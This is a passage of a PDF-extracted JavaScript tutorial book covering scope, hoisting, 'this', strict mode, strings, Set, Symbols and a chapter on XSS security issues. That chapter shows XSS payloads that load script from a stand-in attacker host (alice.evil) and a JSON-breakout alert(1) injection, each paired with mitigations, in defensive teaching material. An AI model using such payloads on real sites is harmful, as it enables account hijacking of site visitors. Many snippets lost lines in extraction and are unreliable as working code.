console.log(x); // >> 7
let x = 4;
if (true) {
https://riptutorial.com/ 464
www.dbooks.org
let x = 7;
console.log(x); // >> 7
}
console.log(x); // >> 4
Note that i and j are only declared in the for loop and are therefore undeclared outside of it.
In the top scope (outside any functions and blocks), var declarations put an element in the global
object. let does not:
var x = 4;
let y = 7;
console.log(this.x); // >> 4
console.log(this.y); // >> undefined
Re-declaration
Declaring a variable twice using var doesn't produce an error (even though it's equivalent to
declaring it once):
var x = 4;
var x = 7;
let x = 4;
let x = 7;
var y = 4;
let y = 7;
However variables declared with let can be reused (not re-declared) in a nested block
https://riptutorial.com/ 465
let i = 5;
{
let i = 6;
console.log(i); // >> 6
}
console.log(i); // >> 5
Within the block the outer i can be accessed, but if the within block has a let declaration for i, the
outer i can not be accessed and will throw a ReferenceError if used before the second is declared.
let i = 5;
{
i = 6; // outer i is unavailable within the Temporal Dead Zone
let i;
}
Hoisting
Variables declared both with var and let are hoisted. The difference is that a variable declared
with var can be referenced before its own assignment, since it gets automatically assigned (with
undefined as its value), but let cannot–it specifically requires the variable to be declared before
being invoked:
The area between the start of a block and a let or const declaration is known as the Temporal
Dead Zone, and any references to the variable in this area will cause a ReferenceError. This
happens even if the variable is assigned before being declared:
Closures
When a function is declared, variables in the context of its declaration are captured in its scope.
For example, in the code below, the variable x is bound to a value in the outer scope, and then the
reference to x is captured in the context of bar:
https://riptutorial.com/ 466
www.dbooks.org
function bar() {
console.log(x); // outer scope is captured on declaration
}
Sample output: 4
This concept of "capturing" scope is interesting because we can use and modify variables from an
outer scope even after the outer scope exits. For example, consider the following:
function foo() {
var x = 4; // declaration in outer scope
function bar() {
console.log(x); // outer scope is captured on declaration
}
return bar;
Sample output: 4
In the above example, when foo is called, its context is captured in the function bar. So even after
it returns, bar can still access and modify the variable x. The function foo, whose context is
captured in another function, is said to be a closure.
Private data
This lets us do some interesting things, such as defining "private" variables that are visible only to
a specific function or set of functions. A contrived (but popular) example:
function makeCounter() {
var counter = 0;
return {
value: function () {
return counter;
},
increment: function () {
counter++;
}
};
}
var a = makeCounter();
var b = makeCounter();
a.increment();
https://riptutorial.com/ 467
console.log(a.value());
console.log(b.value());
Sample output:
1
0
When makeCounter() is called, a snapshot of the context of that function is saved. All code inside
makeCounter() will use that snapshot in their execution. Two calls of makeCounter() will thus create
two different snapshots, with their own copy of counter.
Suppose we want to be able to reference jQuery with $. Consider the naive method, without using
an IIFE:
var $ = jQuery;
// we've just polluted the global namespace by assigning window.$ to jQuery
In the following example, an IIFE is used to ensure that the $ is bound to jQuery only in the context
created by the closure:
(function ($) {
// $ is assigned to jQuery here
})(jQuery);
// but window.$ binding doesn't exist, so no pollution
Hoisting
What is hoisting?
Hoisting is a mechanism which moves all variable and function declarations to the top of their
scope. However, variable assignments still happen where they originally were.
https://riptutorial.com/ 468
www.dbooks.org
console.log(foo); // → undefined
var foo = 42;
console.log(foo); // → 42
Note that due to hoisting the above undefined is not the same as the not defined resulting from
running:
A similar principle applies to functions. When functions are assigned to a variable (i.e. a function
expression), the variable declaration is hoisted while the assignment remains in the same place.
The following two code snippets are equivalent.
var foo;
console.log(foo(2, 3)); // → foo is not a function
foo = function(a, b) {
return a * b;
}
When declaring function statements, a different scenario occurs. Unlike function statements,
function declarations are hoisted to the top of their scope. Consider the following code:
console.log(foo(2, 3)); // → 6
function foo(a, b) {
return a * b;
}
The above code is the same as the next code snippet due to hoisting:
function foo(a, b) {
return a * b;
}
console.log(foo(2, 3)); // → 6
// Valid code:
https://riptutorial.com/ 469
foo();
function foo() {}
// Invalid code:
bar(); // → TypeError: bar is not a function
var bar = function () {};
// Valid code:
foo();
function foo() {
bar();
}
function bar() {}
// Invalid code:
foo();
function foo() {
bar(); // → TypeError: bar is not a function
}
var bar = function () {};
// (E) valid:
function foo() {
bar();
}
var bar = function(){};
foo();
Limitations of Hoisting
Initializing a variable can not be Hoisted or In simple JavaScript Hoists declarations not
initialization.
var x = 2;
var y = 4;
alert(x + y);
var x = 2;
alert(x + y);
var y = 4;
This will give you an output of NaN. Since we are initializing the value of y, the JavaScript Hoisting
is not happening, so the y value will be undefined. The JavaScript will consider that y is not yet
declared.
https://riptutorial.com/ 470
www.dbooks.org
var x = 2;
var y;
alert(x + y);
y = 4;
Let's say we need to add a button for each piece of loadedData array (for instance, each button
should be a slider showing the data; for the sake of simplicity, we'll just alert a message). One may
try something like this:
error. This is because the scope of i is the global scope (or a function scope) and after the loop, i
== 3. What we need is not to "remember the state of i". This can be done using let:
var loadedData = [
{ label:"apple", content:"green and round" },
{ label:"blackberry", content:"small black or blue" },
{ label:"pineapple", content:"weird stuff.. difficult to explain the shape" }
];
https://riptutorial.com/ 471
Method invocation
Invoking a function as a method of an object the value of this will be that object.
var obj = {
name: "Foo",
print: function () {
console.log(this.name)
}
}
obj.print();
Foo
Anonymous invocation
Invoking a function as an anonymous function, this will be the global object (self in the browser).
function func() {
return this;
}
In ECMAScript 5's strict mode, this will be undefined if the function is invoked anonymously.
(function () {
"use strict";
func();
}())
undefined
Constructor invocation
When a function is invoked as a constructor with the new keyword this takes the value of the object
being constructed
function Obj(name) {
this.name = name;
}
https://riptutorial.com/ 472
www.dbooks.org
var obj = new Obj("Foo");
console.log(obj);
{ name: "Foo" }
When using arrow functions this takes the value from the enclosing execution context's this (that
is, this in arrow functions has lexical scope rather than the usual dynamic scope). In global code
(code that doesn't belong to any function) it would be the global object. And it keeps that way,
even if you invoke the function declared with the arrow notation from any of the others methods
here described.
See how this inherits the context rather than referring to the object the method was called on.
var obj = {
withoutArrow: function() {
return this;
},
withArrow: () => this
};
The apply and call methods in every function allow it to provide a custom value for this.
function print() {
console.log(this.toPrint);
https://riptutorial.com/ 473
}
You might notice that the syntax for both the invocations used above are the same. i.e. The
signature looks similar.
But there is a small difference in their usage, since we are dealing with functions and changing
their scopes, we still need to maintain the original arguments passed to the function. Both apply
and call support passing arguments to the target function as follows:
function speak() {
var sentences = Array.prototype.slice.call(arguments);
console.log(this.name+": "+sentences);
}
var person = { name: "Sunny" };
speak.apply(person, ["I", "Code", "Startups"]); // >> "Sunny: I Code Startups"
speak.call(person, "I", "<3", "Javascript"); // >> "Sunny: I <3 Javascript"
Notice that apply allows you to pass an Array or the arguments object (array-like) as the list of
arguments, whereas, call needs you to pass each argument separately.
These two methods give you the freedom to get as fancy as you want, like implementing a poor
version of the ECMAScript's native bind to create a function that will always be called as a method
of an object from an original function.
function print() {
console.log(this.name);
}
printObj();
"Foo"
https://riptutorial.com/ 474
www.dbooks.org
3. and then return the value
Bound invocation
The bind method of every function allows you to create new version of that function with the
context strictly bound to a specific object. It is specially useful to force a function to be called as a
method of an object.
function foo() {
return this.foo;
}
fooObj = foo.bind(obj);
fooObj();
bar
https://riptutorial.com/ 475
Chapter 81: Screen
Examples
Getting the screen resolution
To get the physical size of the screen (including window chrome and menubar/launcher):
To get the “available” area of the screen (i.e. not including any bars on the edges of the screen,
but including window chrome and other windows:
var availableArea = {
pos: {
x: window.screen.availLeft,
y: window.screen.availTop
},
size: {
width: window.screen.availWidth,
height: window.screen.availHeight
}
};
To get current page width and height (for any browser), e.g. when programming responsiveness:
function pageWidth() {
return window.innerWidth != null? window.innerWidth : document.documentElement &&
https://riptutorial.com/ 476
www.dbooks.org
document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body !=
null ? document.body.clientWidth : null;
}
function pageHeight() {
return window.innerHeight != null? window.innerHeight : document.documentElement &&
document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body
!= null? document.body.clientHeight : null;
}
https://riptutorial.com/ 477
Chapter 82: Security issues
Introduction
This is a collection of common JavaScript security issues, like XSS and eval injection. This
collection also contains how to mitigate these security issues.
Examples
Reflected Cross-site scripting (XSS)
Let's say Joe owns a website that allows you to log on, view puppy videos, and save them to your
account.
If a user's search doesn't match anything, than they see a message along the lines of:
if(!searchResults){
webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try
again.";
}
However, when Alice searches for <h1>headings</h1>, she gets this back:
Your search (
headings
) didn't match anything. Try again.
Raw HTML:
And:
https://riptutorial.com/ 478
www.dbooks.org
Than Alice searches for <script src = "https://alice.evil/puppy_xss.js></script>really cute
puppies, and copies the link in her address bar, and than emails Bob:
Bob,
Than Alice sucessfully gets Bob to run her script while Bob is logged on to his account.
Mitigation:
1. Escape all angle brackets in searches before returning the search term when no results are
found.
2. Don't return the search term when no results are found.
3. Add a Content Security Policy that refuses to load active content from other domains
Let's say that Bob owns a social website that allows users to personalize their profiles.
Alice goes to Bob's website, creates an account, and goes to her profile settings. She sets her
profile description to I'm actually too lazy to write something here.
When her friends view her profile, this code gets run on the server:
if(viewedPerson.profile.description){
page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
page += "<div>This person doesn't have a profile description.</div>";
}
Than Alice sets her profile description to <b>I like HTML</b>. When she visits her profile, instead of
seeing
she sees
https://riptutorial.com/ 479
I like HTML
Whenever someone visits her profile, they get Alice's script run on Bob's website while logged on
as their account.
Mitigation
1. Escape angle brackets in profile descriptions, etc.
2. Store profile descriptions in a plain text file that is then fetched with a script that adds the
description via .innerText
3. Add a Content Security Policy that refuses to load active content from other domains
Let's say that Bob owns a site that lets you post public messages.
addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");
The addMessage function adds a posted message to the DOM. However, in an effort to avoid XSS,
any HTML in messages posted is escaped.
So alice posts a message that says: My mom said: "Life is good. Pie makes it better. ". Than
when she previews the message, instead of seeing her message she sees an error in the console:
https://riptutorial.com/ 480
www.dbooks.org
That's a syntax error. Than Alice posts:
That adds the message I like pie, but it also downloads and runs https://alice.evil/js_xss.js
whenever someone visits Bob's site.
Mitigation:
1. Pass the message posted into JSON.stringify()
2. Instead of dynamically building a script, build a plain text file containing all the messages that
is later fetched by the script
3. Add a Content Security Policy that refuses to load active content from other domains
Why scripts from other people can harm your website and its visitors
If you don't think that malicious scripts can harm your site, you are wrong. Here is a list of what a
malicious script could do:
Please, don't think that XSS won't harm your website and its visitors.
Let's say that whenever someone visits a profile page in Bob's website, the following URL is
fetched:
https://example.com/api/users/1234/profiledata.json
https://riptutorial.com/ 481
"name": "Bob",
"description": "Likes pie & security holes."
}
{
"name": "Alice",
"description": "Likes pie & security
holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}
({
"name": "Alice",
"description": "Likes pie & security
holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})
If you don't think that's a problem, paste that in your console and see what happens.
Mitagation
• Use JSON.parse instead of eval to get JSON. In general, don't use eval, and definitely
don't use eval with something a user could control. Eval creates a new execution context,
creating a performance hit.
• Properly escape " and \ in user data before putting it in JSON. If you just escape the ", than
this will happen:
Hello! \"});alert(1);({
"Hello! \\"});alert(1);({"
Oops. Remember to escape both the \ and ", or just use JSON.parse.
https://riptutorial.com/ 482
www.dbooks.org
Chapter 83: Selection API
Syntax
• Selection sel = window.getSelection();
• Selection sel = document.getSelection(); // equivalent to the above
• Range range = document.createRange();
• range.setStart(startNode, startOffset);
• range.setEnd(endNode, endOffset);
Parameters
Parameter Details
If the node is a Text node, it is the number of characters from the beginning of
startOffset startNode to where the range begins. Otherwise, it is the number of child nodes
between the beginning of startNode to where the range begins.
If the node is a Text node, it is the number of characters from the beginning of
endOffset startNode to where the range ends. Otherwise, it is the number of child nodes
between the beginning of startNode to where the range ends.
Remarks
The Selection API allows you to view and change the elements and text that are selected
(highlighted) in the document.
It is implemented as a singleton Selection instance that applies to the document, and holds a
collection of Range objects, each representing one contiguous selected area.
Practically speaking, no browser except Mozilla Firefox supports multiple ranges in selections, and
this is not encouraged by the spec either. Additionally, most users are not familiar with the concept
of multiple ranges. As such, a developer can usually only concern themselves with one range.
Examples
Deselect everything that is selected
https://riptutorial.com/ 483
let sel = document.getSelection();
sel.addRange(range);
It may be necessary to first remove all the ranges of the previous selection, as most browsers
don't support multiple ranges.
Alternatively, since the toString member function is called automatically by some functions when
converting the object to a string, you don't always have to call it yourself.
console.log(document.getSelection());
https://riptutorial.com/ 484
www.dbooks.org
Chapter 84: Server-sent events
Syntax
• new EventSource("api/stream");
• eventSource.onmessage=function(event){}
• eventSource.onerror=function(event){};
• eventSource.addEventListener=function(name, callback, options){};
• eventSource.readyState;
• eventSource.url;
• eventSource.close();
Examples
Setting up a basic event stream to the server
You can setup your client browser to listen in incoming server events using the EventSource object.
You will need to supply the constructor a string of the path to the server' API enpoint the will
subscribe the client to the server events.
Example:
Events have names with which they are categorized and sent, and a listener must be setup to
listen to each such event by name. the default event name is message and in order to listen to it you
must use the appropriate event listener, .onmessage
evtSource.onmessage = function(event) {
var data = JSON.parse(event.data);
// do something with data
}
The above function will run everytime the server will push an event to the client. Data is sent as
text/plain, if you send JSON data you may want to parse it.
An event stream to the server can be closed using the EventSource.close() method
https://riptutorial.com/ 485
Binding event listeners to EventSource
You can bind event listeners to the EventSource object to listen to different events channels using
the .addEventListener method.
name: The name related to the name of the channel the server is emitting events to.
callback: The callback function runs every time an event bound to the channel is emitted, the
function provides the event as an argument.
The following example shows a heartbeat event stream from the server, the server sends events
on the heartbeat channel and this routine will always run when an event in accepted.
https://riptutorial.com/ 486
www.dbooks.org
Chapter 85: Set
Introduction
The Set object lets you store unique values of any type, whether primitive values or object
references.
Set objects are collections of values. You can iterate through the elements of a set in insertion
order. A value in the Set may only occur ONCE; it is unique in the Set's collection. Distinct values
are discriminated using the SameValueZero comparison algorithm.
Syntax
• new Set([iterable])
• mySet.add(value)
• mySet.clear()
• mySet.delete(value)
• mySet.entries()
• mySet.forEach(callback[, thisArg])
• mySet.has(value)
• mySet.values()
Parameters
Parameter Details
If an iterable object is passed, all of its elements will be added to the new Set.
iterable
null is treated as undefined.
Remarks
Because each value in the Set has to be unique, the value equality will be checked and is not
based on the same algorithm as the one used in the === operator. Specifically, for Sets, +0 (which
is strictly equal to -0) and -0 are different values. However, this has been changed in the latest
ECMAScript 6 specification. Starting with Gecko 29.0 (Firefox 29 / Thunderbird 29 / SeaMonkey
2.26) (bug 952870) and a recent nightly Chrome, +0 and -0 are treated as the same value in Set
https://riptutorial.com/ 487
objects. Also, NaN and undefined can also be stored in a Set. NaN is considered the same as
NaN (even though NaN !== NaN).
Examples
Creating a Set
The Set object lets you store unique values of any type, whether primitive values or object
references.
You can push items into a set and iterate them similar to a plain JavaScript array, but unlike array,
you cannot add a value to a Set if the value already exist in it.
Or you can create a set from any iterable object to give it starting values:
In the example above the set content would be {1, 2, 3, 4, 5}. Note that the value 4 appears only
once, unlike in the original array used to create it.
mySet.add(5);
If the value already exist in the set it will not be added again, as Sets contain unique values.
Note that the .add() method returns the set itself, so you can chain add calls together:
mySet.add(1).add(2).add(3);
mySet.delete(some_val);
This function will return true if the value existed in the set and was removed, or false otherwise.
https://riptutorial.com/ 488
www.dbooks.org
To check if a given value exists in a set, use .has() method:
mySet.has(someVal);
Clearing a Set
You can remove all the elements in a set using the .clear() method:
mySet.clear();
You can get the number of elements inside the set using the .size property
This property, unlike Array.prototype.length, is read-only, which means that you can't change it by
assigning something to it:
mySet.size = 5;
mySet.size; // 4
TypeError: Cannot set property size of #<Set> which has only a getter
Sometimes you may need to convert a Set to an array, for example to be able to use
Array.prototype methods like .filter(). In order to do so, use Array.from() or destructuring-
assignment:
Now you can filter the array to contain only even numbers and convert it back to Set using Set
constructor:
https://riptutorial.com/ 489
console.log(mySet); // Set {2, 4}
There are no build-in methods for intersection and difference in Sets, but you can still achieve that
but converting them to arrays, filtering, and converting back to Sets:
Iterating Sets
When iterating over a set, it will always return values in the order they were first added to the set.
For example:
callback has three arguments. The first two arguments are both the current element of Set (for
consistency with Array.prototype.forEach() and Map.prototype.forEach()) and the third argument is
the Set itself.
https://riptutorial.com/ 490
www.dbooks.org
Chapter 86: Setters and Getters
Introduction
Setters and getters are object properties that call a function when they are set/gotten.
Remarks
An object property cannot hold both a getter and a value at the same time. However, an object
property can hold both a setter and a getter at the same time.
Examples
Defining an Setter/Getter in a Newly Created Object
JavaScript allows us to define getters and setters in the object literal syntax. Here's an example:
var date = {
year: '2017',
month: '02',
day: '27',
get date() {
// Get the date in YYYY-MM-DD format
return `${this.year}-${this.month}-${this.day}`
},
set date(dateString) {
// Set the date from a YYYY-MM-DD formatted string
var dateRegExp = /(\d{4})-(\d{2})-(\d{2})/;
Accessing the date.date property would return the value 2017-02-27. Setting date.date = '2018-01-
02 would call the setter function, which would then parse the string and set date.year = '2018',
date.month = '01', and date.day = '02'. Trying to pass an incorrectly formatted string (such as
"hello") would throw an error.
https://riptutorial.com/ 491
var setValue;
var obj = {};
Object.defineProperty(obj, "objProperty", {
get: function(){
return "a value";
},
set: function(value){
setValue = value;
}
});
class Person {
constructor(firstname, lastname) {
this._firstname = firstname;
this._lastname = lastname;
}
get firstname() {
return this._firstname;
}
set firstname(name) {
this._firstname = name;
}
get lastname() {
return this._lastname;
}
set lastname(name) {
this._lastname = name;
}
}
person.firstname = 'Foo';
person.lastname = 'Bar';
https://riptutorial.com/ 492
www.dbooks.org
Chapter 87: Strict mode
Syntax
• 'use strict';
• "use strict";
• `use strict`;
Remarks
Strict mode is an option added in ECMAScript 5 to enable a few backwards-incompatible
enhancements. Behaviour changes in "strict mode" code include:
• Assigning to undefined variables raises an error instead of defining new global variables;
• Assigning to or deleting non-writable properties (such as window.undefined) raises an error
instead of executing silently;
• Legacy octal syntax (ex. 0777) is unsupported;
• The with statement is unsupported;
• eval cannot create variables in the surrounding scope;
• Functions' .caller and .arguments properties are unsupported;
• A function's parameter list cannot have duplicates;
• window is no longer automatically used as the value of this.
NOTE:- 'strict' mode is NOT enabled by default as if a page uses JavaScript which depends on
features of non - strict mode, then that code will break. Thus, it has to be turned on by the
programmer himself / herself.
Examples
For entire scripts
Strict mode can be applied on entire scripts by placing the statement "use strict"; before any
other statements.
"use strict";
// strict mode now applies for the rest of the script
Strict mode is only enabled in scripts where you define "use strict". You can combine scripts with
and without strict mode, because the strict state is not shared among different scripts.
Note: All code written inside ES2015+ modules and classes are strict by default.
For functions
https://riptutorial.com/ 493
Strict mode can also be applied to single functions by prepending the "use strict"; statement at
the beginning of the function declaration.
function strict() {
"use strict";
// strict mode now applies to the rest of this function
var innerFunction = function () {
// strict mode also applies here
};
}
function notStrict() {
// but not here
}
In a non-strict-mode scope, when a variable is assigned without being initialized with the var, const
or the let keyword, it is automatically declared in the global scope:
a = 12;
console.log(a); // 12
In strict mode however, any access to an undeclared variable will throw a reference error:
"use strict";
a = 12; // ReferenceError: a is not defined
console.log(a);
This is useful because JavaScript has a number of possible events that are sometimes
unexpected. In non-strict-mode, these events often lead developers to believe they are bugs or
unexpected behavior, thus by enabling strict-mode, any errors that are thrown enforces them to
know exactly what is being done.
"use strict";
// Assuming a global variable mistypedVariable exists
mistypedVaraible = 17; // this line throws a ReferenceError due to the
// misspelling of variable
This code in strict mode displays one possible scenario: it throws a reference error which points to
the assignment's line number, allowing the developer to immediately detect the mistype in the
variable's name.
In non-strict-mode, besides the fact that no error is thrown and the assignment is successfully
made, the mistypedVaraible will be automatically declared in the global scope as a global variable.
This implies that the developer needs to look up manually this specific assignment in the code.
https://riptutorial.com/ 494
www.dbooks.org
Furthermore, by forcing declaration of variables, the developer cannot accidentally declare global
variables inside functions. In non-strict-mode:
function foo() {
a = "bar"; // variable is automatically declared in the global scope
}
foo();
console.log(a); // >> bar
function strict_scope() {
"use strict";
var a = "bar"; // variable is local
}
strict_scope();
console.log(a); // >> "ReferenceError: a is not defined"
The variable can also be declared outside and after a function, allowing it to be used, for instance,
in the global scope:
function strict_scope() {
"use strict";
a = "bar"; // variable is global
}
var a;
strict_scope();
console.log(a); // >> bar
Changes to properties
"use strict";
delete Object.prototype; // throws a TypeError
The above statement would simply be ignored if you don't use strict mode, however now you know
why it does not execute as expected.
function setAge() {
myObject.age = 25; // No errors
}
function setAge() {
"use strict";
myObject.age = 25; // TypeError: can't define property "age": Object is not extensible
}
https://riptutorial.com/ 495
Behaviour of a function's arguments list
arguments object behave different in strict and non strict mode. In non-strict mode, the argument
object will reflect the changes in the value of the parameters which are present, however in strict
mode any changes to the value of the parameter will not be reflected in the argument object.
a = 5, b = 10;
add(1, 2);
For the above code, the arguments object is changed when we change the value of the parameters.
However, for strict mode, the same will not be reflected.
function add(a, b) {
'use strict';
a = 5, b = 10;
It's worth noting that, if any one of the parameters is undefined, and we try to change the value of
the parameter in both strict-mode or non-strict mode the arguments object remains unchanged.
Strict mode
function add(a, b) {
'use strict';
add(1)
// 1, undefined
// 1, undefined
Non-Strict Mode
https://riptutorial.com/ 496
www.dbooks.org
function add(a,b) {
console.log(arguments[0],arguments[1]);
a = 5, b = 10;
console.log(arguments[0],arguments[1]);
}
add();
// undefined,undefined
// undefined,undefined
add(1);
// 1, undefined
// 5, undefined
Duplicate Parameters
Strict mode does not allow you to use duplicate function parameter names.
function foo(bar, bar) {} // No error. bar is set to the final argument when called
"use strict";
function foo(bar, bar) {}; // SyntaxError: duplicate formal argument bar
In Strict Mode, functions declared in a local block are inaccessible outside the block.
"use strict";
{
f(); // 'hi'
function f() {console.log('hi');}
}
f(); // ReferenceError: f is not defined
Scope-wise, function declarations in Strict Mode have the same kind of binding as let or const.
function a(x = 5) {
"use strict";
}
is invalid JavaScript and will throw a SyntaxError because you cannot use the directive "use
strict" in a function with Non-Simple Parameter list like the one above - default assignment x = 5
• Default assignemnt
function a(x = 1) {
https://riptutorial.com/ 497
"use strict";
}
• Destructuring
function a({ x }) {
"use strict";
}
• Rest params
function a(...args) {
"use strict";
}
https://riptutorial.com/ 498
www.dbooks.org
Chapter 88: Strings
Syntax
• "string literal"
• 'string literal'
• "string literal with 'mismatching quotes'" // no errors; quotes are different.
• "string literal with "escaped quotes"" // no errors; quotes are escaped.
• `template string ${expression}`
• String("a b c") // returns string when called in non-constructor context
• new String("a b c") // the String object, not the string primitive
Examples
Basic Info and String Concatenation
Strings in JavaScript can be enclosed in Single quotes 'hello', Double quotes "Hello" and (from
ES2015, ES6) in Template Literals (backticks) `hello`.
Strings can be created from other types using the String() function.
String.fromCharCode(104,101,108,108,111) //"hello"
Creating a String object using new keyword is allowed, but is not recommended as it behaves like
Objects unlike primitive strings.
https://riptutorial.com/ 499
Concatenating Strings
String concatenation can be done with the + concatenation operator, or with the built-in concat()
method on the String object prototype.
Strings can be concatenated with non-string variables but will type-convert the non-string variables
into strings.
String Templates
6
With template literals, you can do string interpolation using ${variable} inside template literals:
You can use String.raw to get backslashes to be in the string without modification.
`a\\b` // = a\b
String.raw`a\\b` // = a\\b
Escaping quotes
If your string is enclosed (i.e.) in single quotes you need to escape the inner literal quote with
backslash \
https://riptutorial.com/ 500
www.dbooks.org
var text = 'L\'albero means tree in Italian';
console.log( text ); \\ "L'albero means tree in Italian"
Special attention must be given to escaping quotes if you're storing HTML representations within a
String, since HTML strings make large use of quotations i.e. in attributes:
Quotes in HTML strings can also be represented using ' (or ') as a single quote and
" ( or ") as double quotes.
Note: The use of ' and " will not overwrite double quotes that browsers can
automatically place on attribute quotes. For example <p class=special> being made to <p
class="special">, using " can lead to <p class=""special""> where \" will be <p
class="special">.
If a string has ' and " you may want to consider using template literals (also known as template
strings in previous ES6 editions), which do not require you to escape ' and ". These use backticks
(`) instead of single or double quotes.
Reverse String
The most "popular" way of reversing a string in JavaScript is the following code fragment, which is
quite common:
function reverseString(str) {
return str.split('').reverse().join('');
}
reverseString('string'); // "gnirts"
However, this will work only so long as the string being reversed does not contain surrogate pairs.
Astral symbols, i.e. characters outside of the basic multilingual plane, may be represented by two
code units, and will lead this naive technique to produce wrong results. Moreover, characters with
combining marks (e.g. diaeresis) will appear on the logical "next" character instead of the original
one it was combined with.
https://riptutorial.com/ 501
' ■.'.split('').reverse().join(''); //fails
While the method will work fine for most languages, a truly accurate, encoding respecting
algorithm for string reversal is slightly more involved. One such implementation is a tiny library
called Esrever, which uses regular expressions for matching combining marks and surrogate pairs
in order to perform the reversing perfectly.
Explanation
function reverseString(str) {
return [...String(str)].reverse().join('');
}
console.log(reverseString('stackoverflow')); // "wolfrevokcats"
console.log(reverseString(1337)); // "7331"
console.log(reverseString([1, 2, 3])); // "3,2,1"
function reverse(string) {
var strRev = "";
for (var i = string.length - 1; i >= 0; i--) {
strRev += string[i];
}
return strRev;
}
https://riptutorial.com/ 502
www.dbooks.org
reverse("zebra"); // "arbez"
Trim whitespace
Many JavaScript engines, but not Internet Explorer, have implemented non-standard trimLeft and
trimRight methods. There is a proposal, currently at Stage 1 of the process, for standardised
trimStart and trimEnd methods, aliased to trimLeft and trimRight for compatibility.
// Stage 1 proposal
" this is me ".trimStart(); // "this is me "
" this is me ".trimEnd(); // " this is me"
var s = "0123456789abcdefg";
s.slice(0, 5); // "01234"
s.slice(5, 6); // "5"
Given one index, it will take from that index to the end of the string:
s.slice(10); // "abcdefg"
https://riptutorial.com/ 503
s.charCodeAt(5); // 8710
There are no raw byte or binary strings in JavaScript. To effectively handle binary data, use Typed
Arrays.
Detecting a string
If you ever have a String object, via new String("somestr"), then the above will not work. In this
instance, we can use instanceof:
Or we can make use of toString function of Object. This can be useful if we have to check for other
types as well say in a switch statement, as this method supports other datatypes as well just like
typeof.
A more robust solution is to not detect a string at all, rather only check for what functionality is
required. For example:
https://riptutorial.com/ 504
www.dbooks.org
// Explicit check for the String substring prototype method
if(aString.substring === String.prototype.substring) {
aString.substring(0, );
}
To compare strings alphabetically, use localeCompare(). This returns a negative value if the
reference string is lexicographically (alphabetically) before the compared string (the parameter), a
positive value if it comes afterwards, and a value of 0 if they are equal.
var a = "hello";
var b = "world";
console.log(a.localeCompare(b)); // -1
The > and < operators can also be used to compare strings lexicographically, but they cannot
return a value of zero (this can be tested with the == equality operator). As a result, a form of the
localeCompare() function can be written like so:
function strcmp(a, b) {
if(a === b) {
return 0;
}
if (a > b) {
return 1;
}
return -1;
}
console.log(strcmp("hello", "world")); // -1
console.log(strcmp("hello", "hello")); // 0
console.log(strcmp("world", "hello")); // 1
This is especially useful when using a sorting function that compares based on the sign of the
return value (such as sort).
String.prototype.toUpperCase():
console.log('qwerty'.toUpperCase()); // 'QWERTY'
https://riptutorial.com/ 505
String to Lower Case
String.prototype.toLowerCase()
console.log('QWERTY'.toLowerCase()); // 'qwerty'
Word Counter
Say you have a <textarea> and you want to retrieve info about the number of:
• Characters (total)
• Characters (no spaces)
• Words
• Lines
// Use like:
wordCount( someMultilineText ).words; // (Number of words)
jsFiddle example
Alternatively, because strings can be treated like arrays, use the index via bracket notation.
To get the character code of the character at a specified index, use charCodeAt().
Note that these methods are all getter methods (return a value). Strings in JavaScript are
immutable. In other words, none of them can be used to set a character at a position in the string.
https://riptutorial.com/ 506
www.dbooks.org
String Find and Replace Functions
indexOf() will return the index of the first occurrence of searchString in the string. If searchString is
not found, then -1 is returned.
Similarly, lastIndexOf() will return the index of the last occurrence of searchstring or -1 if not found.
includes() will return a boolean that tells whether searchString exists in the string, starting from
index start (defaults to 0). This is better than indexOf() if you simply need to test for existence of a
substring.
replace() will return a string that has all occurrences of substrings matching the RegExp regexp or
string substring with a string replacement or the returned value of replaceFunction.
Note that this does not modify the string in place, but returns the string with replacements.
replaceFunction can be used for conditional replacements for regular expression objects (i.e., with
use with regexp). The parameters are in the following order:
Parameter Meaning
https://riptutorial.com/ 507
Parameter Meaning
g1, g2, g3, ... the matching groups in the regular expression
The .indexOf method returns the index of a substring inside another string (if exists, or -1 if
otherwise)
'Hellow World'.indexOf('Wor'); // 7
.indexOf also accepts an additional numeric argument that indicates on what index should the
function start looking
'Hellow World'.indexOf('WOR'); // -1
JavaScript has native conversion from Number to it's String representation for any base from 2 to
36.
The most common representation after decimal (base 10) is hexadecimal (base 16), but the
contents of this section work for all bases in the range.
In order to convert a Number from decimal (base 10) to it's hexadecimal (base 16) String
representation the toString method can be used with radix 16.
// base 10 Number
var b10 = 12;
https://riptutorial.com/ 508
www.dbooks.org
If the number represented is an integer, the inverse operation for this can be done with parseInt
and the radix 16 again
// base 10 Number
var b10 = parseInt(b16, 16); // 12
To convert an arbitrary number (i.e. non-integer) from it's String representation into a Number, the
operation must be split into two parts; the integer part and the fraction part.
Note 1: Be careful as small errors may be in the result due to differences in what is possible to be
represented in different bases. It may be desirable to perform some kind of rounding afterwards.
Note 2: Very long representations of numbers may also result in errors due to the accuracy and
maximum values of Numbers of the environment the conversions are happening in.
Repeat a String
In the general case, this should be done using a correct polyfill for the ES6
String.prototype.repeat() method. Otherwise, the idiom new Array(n + 1).join(myString) can repeat
n times the string myString:
https://riptutorial.com/ 509
Character code
The method charCodeAt retrieves the Unicode character code of a single character:
To get the character code of a character in a string, the 0-based position of the character is
passed as a parameter to charCodeAt:
Some Unicode symbols don't fit in a single character, and instead require two UTF-16 surrogate
pairs to encode. This is the case of character codes beyond 216 - 1 or 63553. These extended
character codes or code point values can be retrieved with codePointAt:
https://riptutorial.com/ 510
www.dbooks.org
Chapter 89: Symbols
Syntax
• Symbol()
• Symbol(description)
• Symbol.toString()
Remarks
ECMAScript 2015 Specification 19.4 Symbols
Examples
Basics of symbol primitive type
Symbolis a new primitive type in ES6. Symbols are used mainly as property keys, and one of its
main characteristics is that they are unique, even if they have the same description. This means
they will never have a name clash with any other property key that is a symbol or string.
obj[MY_PROP_KEY] = "ABC";
console.log(obj[MY_PROP_KEY]);
Providing an optional parameter (description) when creating primitive symbols can be used for
debugging but not to access the symbol itself (but see the Symbol.for() example for a way to
register/lookup global shared symbols).
Unlike most other JavaScript objects, symbols are not automatically converted into a string when
performing concatenation.
https://riptutorial.com/ 511
Instead, they have to be explicitly converted into a string when necessary, (for example, to get a
textual description of the symbol that can be used in a debug message) using the toString method
or the String constructor.
